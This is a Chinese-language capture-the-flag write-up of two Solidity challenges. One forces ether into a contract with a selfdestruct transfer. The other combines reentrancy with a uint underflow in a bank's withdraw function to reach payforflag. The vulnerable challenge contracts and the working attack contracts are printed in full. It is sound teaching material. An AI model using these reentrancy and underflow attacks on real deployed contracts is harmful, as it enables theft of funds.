两道关于自毁转账和重入攻击的题目。
Demolition Trucks
题目合约源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| pragma solidity ^0.4.23;
contract Trucks { constructor() public{ }
event isSolved();
function getBalance() public view returns (uint256){ return address(this).balance; }
function payforflag() public returns (bool){ address _to = 0x498d4BAddD959314591Dc14cb10790e8Df68b1b1; require(address(this).balance>0); emit isSolved(); _to.transfer(address(this).balance);
} }
|
题目要求合约地址的balance大于0,而我们通过题目系统创建的合约初始ether是为0的。一开始以为直接向合约里转一点ether就好,然而交易总是失败。上网查了会儿才知道合约接收转账需要payable
fallback函数。题目合约里没有,这条路也就行不通了。
然后猜想题目名“自爆卡车”会不会是提示,搜了一会儿发现确实有一种自毁转账的方法。通过合约自毁强行给目标合约地址转账。
自毁方法如下:
1 2 3 4 5 6 7 8
| pragma solidity ^0.4.23;
contract burn {
function kill() public payable { selfdestruct(address(0xD2933ff4797D3e97240002F501eC2985047a9930)); } }
|
这里address是接收转账的目标合约地址。将以上合约进行部署,并调用kill函数。

可以看到题目合约上确实多了一点ether

然后直接调用题目合约中的payforflag即可。
baby bank
合约源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| pragma solidity ^0.4.23;
contract Bank{ mapping (address => uint) public balance; event Received(address Sender, uint Value); event isSolved(); uint public chance;
constructor() public { chance = 1; }
function() external payable { emit Received(msg.sender, msg.value); }
function gift() public { require(chance==1); balance[msg.sender] = 2; chance=0; }
function withdraw(uint amount) public{ require(amount==2); require(balance[msg.sender] >= amount); msg.sender.call.value(amount)(); balance[msg.sender] -= amount; }
function payforflag() public { require(balance[msg.sender] >= 10000000000); balance[msg.sender]=0; chance=1; emit isSolved(); address _to = 0x498d4BAddD959314591Dc14cb10790e8Df68b1b1; _to.transfer(address(this).balance); }
}
|
withdraw函数存在重入攻击漏洞。函数中先进行转账,后对变量的值进行修改。而如果转账的目标是一个合约地址,则会调用合约中的fallback函数,而攻击者则可以通过自己编写的fallback函数反复调用bank中的withdraw从而取走bank中的所有钱。
然而在本题中,我们的目标是使得调用者在bank中的balance为一个很大的值。这里可以借助withdraw函数中存在的下溢出漏洞完成。balance通过gift初始化为2,每次调用withdraw会减2,第二次调用时由于uint无符号数的特性,0-2会下溢出成一个很大的正数,从而能通过目标函数的检查。
该题操作过程如下。
首先在系统中获取目标合约(也就是被攻击的bank)地址,该合约初始是没有ether的,我们需要借助上一题里自毁的方法(操作过程见上题,不再赘述)向该合约中转一点币以保证后面转账能够顺利进行。
然后编写攻击合约:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| pragma solidity ^0.4.23;
import "./Example.sol";
contract Attack{ Bank b; bool tag;
constructor() public{ b=Bank(0x81d99556781BAD40ab1A56a9b84d9fE5a3a3f91A); tag=false; }
function attack() public{ b.gift(); b.withdraw(2); }
function getflag() public{ b.payforflag(); }
function() public payable{ require(tag==false); tag=true; b.withdraw(2); } }
|
该合约中,攻击通过attack实施。先调用gift初始化bank中的balance为2,然后调用withdraw,在withdraw的转账过程中会默认调用攻击合约的fallback函数(也就是合约中无函数名的函数),从而再次withdraw重入。合约中使用了tag限制重入次数为2,即下溢出后就中止调用。
部署该攻击合约,调用attack,成功后可在bank中查到攻击合约的balance已经下溢出为一个很大的数了(实际上为)。

最后调用攻击合约中的getflag即可。将交易hash提交到系统中获取flag。
